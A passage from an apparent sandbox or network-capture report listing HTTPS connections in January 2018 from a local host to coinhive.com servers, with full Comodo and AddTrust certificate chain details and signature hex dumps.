.1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:36:12.119406939 MEZ	443	49175	136.243.91.46	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:36:12.119406939 MEZ	443	49175	136.243.91.46	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:36:16.801379919 MEZ	443	49176	94.130.128.80	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:36:16.801379919 MEZ	443	49176	94.130.128.80	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:36:16.801379919 MEZ	443	49176	94.130.128.80	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:36:19.490957022 MEZ	443	49177	94.130.103.71	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 